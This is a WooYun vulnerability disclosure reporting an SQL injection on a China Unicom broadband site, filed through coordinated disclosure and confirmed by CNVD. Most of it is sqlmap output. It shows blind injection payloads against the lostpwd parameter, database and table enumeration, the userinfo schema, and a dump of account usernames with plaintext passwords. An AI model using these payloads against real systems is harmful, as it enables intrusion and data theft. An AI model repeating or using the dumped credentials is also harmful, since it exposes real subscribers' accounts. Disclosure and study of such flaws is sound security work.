漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0145113
漏洞标题：中国联通某站SQL注入导致泄漏宽带帐号/密码
相关厂商：中国联通
漏洞作者： 陆由乙
提交时间：2015-10-07 10:09
修复时间：2015-11-26 17:58
公开时间：2015-11-26 17:58
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-10-07： 细节已通知厂商并且等待厂商处理中
2015-10-12： 厂商已经确认，细节仅向厂商公开
2015-10-22： 细节向核心白帽子及相关领域专家公开
2015-11-01： 细节向普通白帽子公开
2015-11-11： 细节向实习白帽子公开
2015-11-26： 细节向公众公开
简要描述：
6666666666666666666
详细说明：
**.**.**.**:8888/login.php
漏洞证明：
**.**.**.**:8888/smsreg/sendsms.php?lostpwd=test1
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: lostpwd (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: lostpwd=test1' AND 3264=3264 AND 'yulr'='yulr
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: lostpwd=test1' AND (SELECT * FROM (SELECT(SLEEP(5)))mFxa) AND 'neJY
'='neJY
---
[20:12:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.4
back-end DBMS: MySQL 5.0.11
[20:12:50] [INFO] fetching database names
[20:12:50] [INFO] fetching number of databases
[20:12:50] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[20:12:50] [INFO] retrieved: 6
[20:12:52] [INFO] retrieved: information_schema
[20:14:18] [INFO] retrieved: mysql
[20:14:40] [INFO] retrieved: performance_schema
[20:16:07] [INFO] retrieved: radius
[20:16:34] [INFO] retrieved: test
[20:16:55] [INFO] retrieved: tmp
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] radius
[*] test
[*] tmp
[20:17:13] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:17:13
Database: radius
[73 tables]
+----------------------+
| alcatel_notice |
| badusers |
| bak_acct |
| billbook |
| card |
| cardlog |
| client_notice |
| config |
| credit |
| cron |
| finance |
| ftpConfig |
| grade |
| guestbook |
| ip2ros |
| ippool |
| ippool_tmp |
| loginlog |
| manager |
| managergroup |
| managerpermision |
| maturity_notice |
| message |
| messageconfig |
| mtotacct |
| nas |
| njtn_fttx |
| njtn_scantime_isrun |
| njtnagent |
| njtnagent_loginlog |
| njtnagent_opagentlog |
| njtnagent_update |
| njtnagent_userlog |
| njtnagentpermission |
| njtnbaoxiu |
| njtnhuifang |
| njtnregion |
| orderinfo |
| orderlog |
| orderrefund |
| paymen |
| paymen_user |
| product |
| productandproject |
| project |
| project_ros |
| publicnotice |
| radacct |
| radcheck |
| radgroupcheck |
| radgroupreply |
| radpostauth |
| radpostout |
| radreply |
| repair |
| repairdisposal |
| ros_notice |
| runinfo |
| sendmailConfig |
| speedrule |
| sync_mysql |
| systemlog |
| tbConfig |
| test |
| ticket |
| tmpusers |
| totacct |
| userattribute |
| userbill |
| usergroup |
| userinfo |
| userlog |
| userrun |
+----------------------+
Database: radius
Table: usergroup
[3 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| GroupName | varchar(64) |
| priority | int(11) |
| UserName | varchar(64) |
+-----------+-------------+
Database: radius
Table: userinfo
[34 columns]
+---------------+---------------------+
| Column | Type |
+---------------+---------------------+
| accept_name | varchar(255) |
| account | varchar(256) |
| adddatetime | datetime |
| address | varchar(256) |
| area1id | int(16) unsigned |
| area2id | int(16) unsigned |
| areaID | int(16) |
| birthday | date |
| cardid | varchar(256) |
| checkout | varchar(32) |
| closedatetime | datetime |
| email | varchar(256) |
| fttx | tinyint(3) unsigned |
| gradeID | int(4) |
| homephone | varchar(256) |
| ID | int(16) unsigned |
| isactive | tinyint(3) unsigned |
| MAC | varchar(256) |
| mobile | varchar(256) |
| money | int(16) |
| name | varchar(32) |
| NAS_IP | varchar(50) |
| onlinetime | int(16) |
| password | varchar(32) |
| pledgemoney | varchar(16) |
| projectID | int(16) |
| receipt | varchar(256) |
| remark | varchar(256) |
| sex | varchar(6) |
| status | varchar(255) |
| UserName | varchar(256) |
| VLAN | varchar(1024) |
| workphone | varchar(256) |
| zjry | varchar(256) |
+---------------+---------------------+
Database: radius
Table: userinfo
[8 entries]
+-------------+------------+
| UserName | password |
+-------------+------------+
| 14428932598 | 191289 |
| 14428934225 | 412715 |
| 14429081973 | 780474 |
| 14429864980 | 196089 |
| 14429867156 | 391113 |
| 14430637829 | 873878 |
| test0 | test123456 |
| test1 | test123456 |
+-------------+------------+
修复方案：
过滤
版权声明：转载请注明来源 陆由乙@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-10-12 17:57
厂商回复：
CNVD确认并复现所述情况，已经转由CNCERT向中国联通集团公司通报，由其后续协调网站管理部门处置。
最新状态：
暂无